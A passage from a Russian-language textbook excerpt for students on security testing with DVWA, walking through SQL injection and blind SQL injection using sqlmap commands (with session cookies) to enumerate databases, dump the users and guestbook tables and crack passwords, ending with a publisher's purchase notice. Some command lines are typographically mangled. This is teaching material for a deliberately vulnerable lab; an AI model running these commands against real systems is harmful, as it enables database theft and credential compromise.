Наталья Гулина – Анализ защищенности распределенных информационных систем. DVWA. Для студентов технических специальностей (страница 3)
SQL Injection (внедрение кода SQL) – атака, связанная с внедрением в SQL-запрос сервера к СУБД произвольного кода.
В DVWA на странице SQL Injection представлена ссылка на форму ввода id пользователя, изображённую на рисунке 9.1.
Рисунок 9.1 – Форма ввода
Для эксплуатации уязвимости будет использована утилита sqlmap.
Отличительная особенность уровня – ввод данных и вывод данных осуществляются на разных страницах. Для решения этой проблемы будет использоваться аргумент —second-url.
На рисунке 9.2 представлена команда, запускающая сканирование: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/session-input.php" – second-url "http://kalkt.com:8001/vulnerabilities/sqli/" – data „id=1&Submit=Submit“ – cookie „PHPSESSID=l6145c6k5p19go7ga5g16mh7k0; security=high“».
Рисунок 9.2 – Запуск сканирования
В ходе сканирования было выяснено, что используется СУБД MySQL, уязвимый параметр – id. Результаты сканирования изображены на рисунке 9.3.
Рисунок 9.3 – Результаты сканирования
Далее необходимо получить список баз данных, для этого к команде добавляется ключ —dbs: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/session-input.php" – second-url "http://kalkt.com:8001/vulnerabilities/sqli/" – data „id=1&Submit=Submit“ – cookie „PHPSESSID=l6145c6k5p19go7ga5g16mh7k0; security=high“ – dbs». Результаты изображены на рисунке 9.4.
Рисунок 9.4 – Список баз данных
Теперь можно получить список таблиц в базе dvwa. Для этого через ключ -D нужно указать БД, затем указать ключ —tables, чтобы получить названия таблиц: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/session-input.php" – second-url "http://kalkt.com:8001/vulnerabilities/sqli/" – data „id=1&Submit=Submit“ – cookie „PHPSESSID=l6145c6k5p19go7ga5g16mh7k0; security=high“ -D dvwa – tables». Результаты изображены на рисунке 9.5.
Рисунок 9.5 – Таблицы в базе dvwa
Теперь можно получить записи таблицы users. Для этого ключ —tables меняется на -T users, добавляется ключ —dump: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/session-input.php" – second-url "http://kalkt.com:8001/vulnerabilities/sqli/" – data „id=1&Submit=Submit“ – cookie „PHPSESSID=l6145c6k5p19go7ga5g16mh7k0; security=high“ -D -T users – dump». Результаты изображены на рисунке 9.6.
Рисунок 9.6 – Содержимое таблицы users
Также на скриншоте видно, что sqlmap в процессе работы нашёл пароли в открытом виде, использовав перебор по встроенному словарю.
10 SQL Injection (Blind) Low
SQL Injection (внедрение кода SQL) – атака, связанная с внедрением в SQL-запрос сервера к СУБД произвольного кода. Blind (слепая) инъекция не выводит пользователю никакой информации. Для получения информации злоумышленник использует предположения о длительности выполнения различных операций.
В DVWA на странице SQL Injection (Blind) представлена форма ввода id пользователя, изображённая на рисунке 10.1.
Рисунок 10.1 – Форма ввода
Для эксплуатации уязвимости будет использована утилита sqlmap.
На рисунке 10.2 представлена команда, запускающая сканирование: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli_blind/?id=1&Submit=Submit" – cookie=«PHPSESSID=mp4p8kk8or3m2s7spc22ng0m73; security=low’».
Рисунок 10.2 – Запуск сканирования
В ходе сканирования было выяснено, что используется СУБД MySQL, уязвимый параметр – id. Результаты сканирования изображены на рисунке 10.3.
Рисунок 10.3 – Результаты сканирования
Далее необходимо получить список баз данных, для этого к команде добавляется ключ —dbs: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli_blind/?id=1&Submit=Submit" – cookie=«PHPSESSID=mp4p8kk8or3m2s7spc22ng0m73; security=low’ – dbs». Результаты изображены на рисунке 10.4.
Рисунок 10.4 – Список баз данных
Теперь можно получить список таблиц в базе dvwa. Для этого через ключ -D нужно указать БД, затем указать ключ —tables, чтобы получить названия таблиц: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli_blind/?id=1&Submit=Submit" – cookie=«PHPSESSID=mp4p8kk8or3m2s7spc22ng0m73; security=low’ -D dvwa – tables». Результаты изображены на рисунке 10.5.
Рисунок 10.5 – Таблицы в базе dvwa
Теперь можно получить записи таблицы guestbook. Для этого ключ —tables меняется на -T guestbook, добавляется ключ —dump: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli_blind/?id=1&Submit=Submit" – cookie=«PHPSESSID=mp4p8kk8or3m2s7spc22ng0m73; security=low’ -D dvwa -T guestbook – dump». Результаты изображены на рисунке 10.6.
Конец ознакомительного фрагмента.
Текст предоставлен ООО «Литрес».
Прочитайте эту книгу целиком, купив полную легальную версию на Литрес.
Безопасно оплатить книгу можно банковской картой Visa, MasterCard, Maestro, со счета мобильного телефона, с платежного терминала, в салоне МТС или Связной, через PayPal, WebMoney, Яндекс.Деньги, QIWI Кошелек, бонусными картами или другим удобным Вам способом.